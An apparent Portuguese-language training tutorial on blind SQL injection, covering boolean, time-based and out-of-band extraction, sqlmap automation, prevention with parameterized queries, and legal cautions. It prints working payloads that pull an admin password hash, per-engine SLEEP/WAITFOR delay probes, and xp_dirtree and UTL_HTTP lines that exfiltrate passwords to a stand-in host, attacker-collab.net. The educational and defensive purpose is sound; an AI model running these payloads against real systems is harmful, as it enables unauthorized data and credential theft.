A injeção SQL cega é a injeção SQL em que o banco de dados nunca mostra a resposta. A consulta roda, o dado está bem ali, mas a página devolve exatamente a mesma coisa, tenha o seu payload funcionado ou não. Nenhuma mensagem de erro, nenhuma tabela exibida, nenhuma pista óbvia. Ainda assim você extrai os dados, uma pergunta de verdadeiro-ou-falso por vez, observando como a aplicação se comporta. O jeito mais rápido de entender isso é quebrar uma você mesmo: abra o lab Query Quake da HackerDNA e acompanhe conforme lê.
É a técnica que engana quem aprendeu injeção SQL por exemplos bem arrumadinhos, onde o banco imprime seus segredos direto na página. Alvos reais raramente fazem isso. Este guia cobre o que é a injeção SQL cega, como funcionam as explorações booleana, temporal e fora de banda, como detectá-la na mão e como neutralizá-la no seu próprio código.
Resumo: a injeção SQL cega é uma falha de injeção SQL em que a resposta não traz nenhuma saída da consulta nem erro do banco, então você não consegue ler os dados diretamente. Você os recupera fazendo perguntas sim/não ao banco e deduzindo a resposta a partir de um sinal visível: um ataque booleano observa uma mudança na página, um ataque temporal mede quanto tempo a resposta leva, e um ataque fora de banda força o servidor a ligar para um domínio que você controla. É mais lento que a injeção SQL clássica, não mais fraco. Tudo o que o banco pode ler, um ataque cego paciente pode extrair.
O que é injeção SQL cega?
A injeção SQL cega é um tipo de injeção SQL em que a aplicação é vulnerável ao SQL injetado, mas não devolve os resultados da consulta nem os erros do banco na resposta. O atacante não vê o dado na página, então o extrai de forma indireta, enviando payloads que fazem o banco se comportar de modo diferente conforme uma condição seja verdadeira ou falsa.
A vulnerabilidade em si é idêntica a qualquer outra injeção SQL: uma entrada do usuário chega a uma consulta SQL sem ser separada do código de forma segura. O que muda é o retorno. Uma injeção clássica deixa você puxar o dado direto para a resposta visível, com uma consulta UNION ou uma mensagem de erro tagarela. A injeção cega fecha essa janela. A consulta continua rodando com a sua entrada dentro dela, mas a única coisa que vaza é um efeito colateral.
Esse efeito colateral basta. Bancos avaliam condições, e aplicações reagem a condições, então você pode encadear os dois num canal. Pergunte "a primeira letra da senha do admin é um 'a'?" e monte o payload para que uma resposta verdadeira mude algo observável. Repita a pergunta para cada caractere e cada posição, e você reconstrói o dado byte a byte sem que o servidor jamais tenha pretendido lhe contar nada.
Onde ela aparece
A injeção SQL cega vive nos mesmos lugares que qualquer injeção, menos a saída visível. Na prática, você a encontra em:
- Parâmetros de busca e filtro que mudam silenciosamente o conjunto de resultados sem devolver conteúdo bruto do banco.
- Formulários de login que só dizem "sucesso" ou "falha", o que já é um canal de um bit.
- Endpoints de rastreamento e análise (um
?id=que registra um acesso) onde você nunca vê um corpo de resposta que valha a pena ler. - Cookies e cabeçalhos concatenados numa consulta no lado do servidor, longe de qualquer saída que você controle.
Injeção SQL cega vs clássica
Tudo se resume a uma pergunta: a resposta traz o dado de volta para você? Essa única diferença decide quais ferramentas funcionam e quanto tempo o ataque leva.
- A injeção SQL in-band (clássica) devolve o dado na mesma resposta. A injeção baseada em erros lê segredos nos erros tagarelas do banco; a injeção baseada em UNION anexa o seu próprio SELECT e imprime as linhas dele na página. Você vê os resultados na hora.
- A injeção SQL cega não devolve dado nem erro. Você deduz cada bit de informação de um sinal booleano, de um atraso temporal ou de uma requisição fora de banda. Você reconstrói os resultados uma dedução por vez.
As pessoas supõem que cega significa baixo impacto. Não significa. Uma injeção cega contra uma tabela de usuários ainda lhe entrega os hashes de senha, os tokens de sessão e as chaves de API; ela só faz você trabalhar por cada caractere em vez de despejar tudo numa requisição. A barreira é a conveniência, não a confidencialidade. Trate uma injeção SQL cega confirmada com a mesma gravidade da prima in-band, porque os dados em risco são idênticos.
Como funciona a injeção SQL cega
Todo ataque cego executa o mesmo laço. Você não está lendo o dado, está consultando o banco com perguntas de verdadeiro/falso e lendo a reação dele.
- Confirme a injeção. Prove que sua entrada chega à consulta. Envie uma condição sempre verdadeira e uma sempre falsa, depois verifique se as duas produzem comportamentos diferentes.
- Escolha um sinal. Decida como é o "verdadeiro" visto de fora: uma página diferente, um tempo de resposta maior ou um retorno de rede. Esse sinal é o seu único bit de retorno por requisição.
- Faça uma pergunta direcionada. Monte um payload cuja verdade dependa do dado que você quer, por exemplo se um caractere específico de um valor específico é igual a uma letra específica.
- Leia o bit e repita. Observe o sinal, anote a resposta, passe ao caractere seguinte e repita o laço até recuperar o valor por completo.
O primeiro passo é o que mais importa. Antes de extrair qualquer coisa, você precisa de uma diferença confiável entre verdadeiro e falso. Um payload como ' AND 1=1-- deve se comportar como a requisição normal, e ' AND 1=2-- deve se comportar de forma diferente. Se a página, o código de status ou o tamanho da resposta mudam de modo previsível entre esses dois casos, você tem um canal e o resto é repetição mecânica. Se nada muda, a extração booleana está fora e você parte para os métodos temporal ou fora de banda.
Injeção SQL cega baseada em booleanos
A injeção SQL cega baseada em booleanos extrai dados forçando a aplicação a um de dois estados visivelmente diferentes conforme uma condição injetada seja verdadeira ou falsa. Você nunca vê o dado em si, só se o seu palpite sobre ele estava certo.
Digamos que uma página de produto carrega com GET /item?id=14 e o backend executa SELECT * FROM products WHERE id = 14. Injetar em id deixa você enxertar uma condição nessa consulta:
# Condição verdadeira - a página carrega normalmente
14 AND 1=1
# Condição falsa - a página devolve "não encontrado" ou um resultado vazio
14 AND 1=2
Se essas duas requisições devolvem páginas visivelmente diferentes, você tem o seu oráculo. Agora aponte a condição para dados reais. Isto pergunta se o primeiro caractere do nome do banco atual é maior que 'm', usando uma comparação em estilo de busca binária para encolher o alfabeto rápido:
14 AND SUBSTRING(DATABASE(),1,1) > 'm'
14 AND ASCII(SUBSTRING(DATABASE(),1,1)) > 109
Uma resposta verdadeira significa que o caractere está na metade superior da faixa, uma resposta falsa na metade inferior. Divida a faixa de novo, e de novo, e cerca de sete requisições fixam um caractere. Incremente o índice de posição e repita para o próximo. Para levantar o hash de uma senha de admin, você iteraria uma consulta como esta em cada caractere:
14 AND ASCII(SUBSTRING(
(SELECT password FROM users WHERE username='admin'),
1, 1)) > 64
É tedioso na mão, e é exatamente por isso que se escreve um script. Mas fazer alguns caracteres manualmente primeiro vale a pena: você aprende como é um verdadeiro limpo em comparação a um falso, e percebe quando um WAF ou uma camada de cache começa a embaralhar o sinal. Ao testar aplicações reais, o tamanho da resposta costuma ser um oráculo mais nítido que o texto da página, porque um template pode parecer idêntico enquanto a contagem de bytes acompanha discretamente o estado verdadeiro/falso.
Injeção SQL cega baseada em tempo
A injeção SQL cega baseada em tempo é o recurso para quando a resposta parece idêntica não importa o que você injete. Em vez de observar a página, você faz o banco pausar quando sua condição é verdadeira e mede quanto tempo a resposta leva. Uma resposta lenta é um "sim", uma rápida um "não".
Isso funciona porque dá para envolver uma função de atraso dentro de uma condição. A sintaxe exata depende do motor do banco, e identificá-lo é o primeiro trabalho:
# MySQL / MariaDB - dormir 5 segundos se a condição for verdadeira
1 AND IF(1=1, SLEEP(5), 0)
# PostgreSQL
1; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END
# Microsoft SQL Server
1; IF (1=1) WAITFOR DELAY '0:0:5'
# Oracle
1 AND 1=(CASE WHEN (1=1) THEN dbms_pipe.receive_message('a',5) ELSE 1 END)
Uma vez que um atraso confirma o motor e o ponto de injeção, você troca o sempre-verdadeiro 1=1 por uma pergunta real, as mesmas comparações caractere a caractere usadas no método booleano:
1 AND IF(
ASCII(SUBSTRING(DATABASE(),1,1)) > 109,
SLEEP(5), 0)
A extração temporal é a técnica mais lenta, porque cada bit custa a você um atraso do mundo real, e a instabilidade da rede pode afogar uma pausa curta no ruído. Escolha um atraso longo o suficiente para se destacar da latência normal (três a cinco segundos é um padrão sensato) e faça duas medições por bit numa conexão instável. É lento, mas funciona nos alvos mais mudos, os que não lhe dão mais nada. Essa confiabilidade é o motivo de os payloads SLEEP e WAITFOR serem a primeira coisa que um scanner automatizado dispara contra uma injeção suspeita.
Injeção SQL cega fora de banda (OAST)
A injeção SQL fora de banda faz o banco abrir uma conexão de rede separada para um sistema que você controla, carregando o dado roubado dentro da própria requisição. É a técnica de escolha quando a aplicação é totalmente assíncrona, quando a consulta roda numa tarefa em segundo plano, ou quando o tempo é instável demais para se confiar nele.
A ideia é forçar uma resolução DNS ou uma requisição HTTP para um nome de host que você monitora, com o segredo emendado no subdomínio. Quando o seu ouvinte registra um acesso para 3c58...ff.attacker-collab.net, o rótulo de aparência aleatória é o valor exfiltrado. Como a resolução DNS quase sempre escapa até de uma filtragem de saída restritiva, é um canal teimosamente eficaz.
# Microsoft SQL Server - disparar uma resolução de caminho UNC
1; DECLARE @q VARCHAR(1024);
SELECT @q = (SELECT TOP 1 password FROM users);
EXEC('master..xp_dirtree "\\'+@q+'.attacker-collab.net\a"')
# Oracle - forçar uma requisição HTTP via UTL_HTTP
1 AND (SELECT UTL_HTTP.REQUEST(
'http://'||(SELECT user FROM dual)||'.attacker-collab.net') FROM dual) IS NOT NULL
A exfiltração fora de banda é muito mais rápida que os métodos bit a bit, porque você pode contrabandear um valor inteiro numa única resolução em vez de uma comparação por caractere. O porém é que ela precisa de funções de banco específicas, muitas vezes privilegiadas, e precisa que o servidor tenha permissão para fazer requisições de saída, então é mais situacional. Use um servidor colaborador que você possua para o retorno, nunca a infraestrutura de terceiros. O lab Regex Bypass SQLi da HackerDNA é um bom lugar para treinar contrabandear um payload por uma filtragem de entrada antes de precisar dele contra um alvo filtrado.
Detectar e automatizar a injeção SQL cega
A detecção começa na mão e ganha escala com ferramentas. A sonda manual é sempre a mesma verificação em três requisições: uma requisição de referência, um payload sempre verdadeiro e um payload sempre falso. Se o verdadeiro acompanha a referência e o falso diverge, ou se um SLEEP atrasa a resposta de forma confiável, você tem uma pista para confirmar.
Percorra os pontos de injeção de forma metódica. Os parâmetros da query string são o começo óbvio, mas cookies, cabeçalhos personalizados, campos JSON e qualquer valor que o servidor possa jogar numa consulta também contam. Um parâmetro que parece inerte na resposta é um suspeito de injeção cega de primeira, justamente porque não entrega nada.
Uma vez confirmada uma falha, a automação faz o trabalho pesado. O sqlmap (1.8 em diante) automatiza cada técnica deste guia: ele identifica o banco, escolhe um método que funcione e despeja os dados para você.
# Deixe o sqlmap achar e explorar a injeção cega, depois liste os bancos
sqlmap -u "https://target.tld/item?id=14" --dbs
# Force apenas as técnicas booleana e temporal
sqlmap -u "https://target.tld/item?id=14" --technique=BT --dump
Automatize a extração, nunca o julgamento. Rode scanners só contra sistemas que você está autorizado a testar, confirme os achados na mão para entender o que a ferramenta de fato provou, e saiba que uma execução agressiva do sqlmap é barulhenta e pesada para o alvo. A flag --technique existe para você ficar cirúrgico: B para booleano, T para temporal, Q para consultas em linha, e por aí vai.
Como prevenir a injeção SQL cega
Como prevenir a injeção SQL cega? A correção é a mesma de toda injeção SQL, porque a causa raiz é a mesma: use consultas parametrizadas para que a entrada do usuário nunca possa ser interpretada como SQL. A variante cega não tem defesa própria, já que esconder a saída não faz nada para deter a injeção em si.
Sobreponha estes controles, do mais forte ao mais fraco:
- Consultas parametrizadas (prepared statements). Vincule cada valor do usuário como parâmetro para que o banco o trate como dado, não como código. Este é o único controle que remove a vulnerabilidade em vez de disfarçá-la. Recorra ao suporte nativo da sua linguagem:
PreparedStatementem Java, cursores parametrizados na DB-API do Python, ou um ORM que parametriza por baixo dos panos. - Menor privilégio para a conta do banco. O usuário de banco da aplicação não deveria possuir o esquema nem rodar como administrador. Retire funções como
xp_dirtreeeUTL_HTTPque alimentam a exfiltração fora de banda, e o canal de retorno se fecha mesmo que uma injeção escape. - Validação de entrada por lista de permissão. Verifique se as entradas batem com um tipo e formato esperados. Isso é defesa em profundidade, não um controle principal: truques de codificação vencem a validação usada sozinha, então ela apoia as consultas parametrizadas em vez de substituí-las.
- Erros genéricos e respostas consistentes. Devolva a mesma resposta para estados válidos e inválidos quando puder, e nunca deixe vazar erros do banco. Isso encolhe o oráculo booleano do qual um atacante depende. Atrasa a extração cega, mas é um quebra-molas, não uma correção, então combine-o com os controles acima.
Para um passo a passo completo da construção de consultas à prova de injeção em cada grande linguagem e framework, veja nosso guia de prevenção de injeção SQL. O caso cego não exige defesas extras, só a disciplina de aplicar as defesas padrão em todo lugar onde a entrada do usuário encontra uma consulta.
Considerações legais e éticas
Lembrete essencial: sempre obtenha autorização escrita explícita antes de testar qualquer sistema para injeção SQL. Extrair dados de um banco que você não possui é acesso não autorizado sob o Computer Fraud and Abuse Act (EUA), o Computer Misuse Act (Reino Unido) e leis equivalentes na maioria dos países, e uma extração cega ainda é extração.
- Teste injeção SQL cega apenas em sistemas que você possui, em labs dedicados, ou dentro do escopo definido de um engajamento autorizado.
- Payloads temporais e fora de banda geram carga real e tráfego de rede real. Mantenha atrasos e taxas de requisição razoáveis para não degradar um serviço em produção.
- A exfiltração fora de banda deve usar um endpoint colaborador que você controla, nunca o domínio ou a infraestrutura de terceiros.
- Qualquer credencial ou dado pessoal que você recupere durante um teste autorizado é um achado sensível: prove o impacto, então pare, e reporte imediatamente.
Perguntas frequentes
O que é injeção SQL cega em termos simples?
A injeção SQL cega é uma injeção SQL em que a aplicação não mostra os resultados da consulta nem os erros do banco. O atacante não consegue ler o dado diretamente, então faz perguntas sim/não ao banco e deduz a resposta a partir de um sinal indireto, como uma mudança na página, um atraso na resposta ou um retorno de rede.
Qual é a diferença entre injeção SQL cega e normal?
A injeção SQL normal (in-band) devolve o dado na resposta via consultas UNION ou erros do banco, então você vê os resultados de uma vez. A injeção SQL cega não devolve dado nem erro, então você reconstrói a informação bit a bit a partir de efeitos colaterais. A vulnerabilidade por trás é a mesma; só o retorno difere.
Qual a diferença entre a cega baseada em booleanos e em tempo?
A cega booleana lê uma resposta verdadeiro/falso de uma mudança visível na resposta da aplicação, como uma página ou um tamanho de resposta diferente. A cega temporal serve quando nada visível muda: ela faz o banco pausar com um SLEEP ou WAITFOR quando uma condição é verdadeira, então você lê a resposta pelo tempo que a resposta leva.
A injeção SQL cega é perigosa?
Sim. A injeção SQL cega pode extrair qualquer dado que a conta do banco possa ler, incluindo hashes de senha, tokens de sessão e dados pessoais. É mais lenta que a injeção SQL clássica porque você recupera o dado bit a bit, mas o impacto na confidencialidade é idêntico, então é tratada com a mesma gravidade.
Como prevenir a injeção SQL cega?
Use consultas parametrizadas (prepared statements) para que a entrada do usuário nunca possa ser interpretada como SQL. Reforce isso com uma conta de banco de menor privilégio, validação de entrada por lista de permissão e tratamento de erros genérico. Não há correção própria da variante cega, porque esconder a saída não remove a injeção.
Faz parte da série OWASP Top 10
Artigos relacionados:
- Tutorial de injeção SQL
- Prevenção de injeção SQL
- Injeção SQL cega explicada
- Ataque SSRF explicado
- Guia de teste de segurança web OWASP
Seus próximos passos
A injeção SQL cega deixa de parecer abstrata no instante em que você extrai um único caractere com nada além de uma diferença de tempo para guiá-lo. Ler o laço verdadeiro/falso é uma coisa; ver um atraso de cinco segundos confirmar que o primeiro byte de uma senha é justamente o que você chutou é outra. Comece com o plano gratuito da HackerDNA, sem cartão de crédito, e faça uma extração completa no lab Query Quake. Quando quiser a injeção SQL cega no contexto de toda a superfície de ataque web, o curso Web Attacks a percorre ao lado da injeção UNION, do XSS, do SSRF e do resto do OWASP Top 10 em labs guiados no navegador. Aprenda a ler o banco quando ele se recusa a falar, depois vá escrever a consulta parametrizada que fecha o canal inteiro.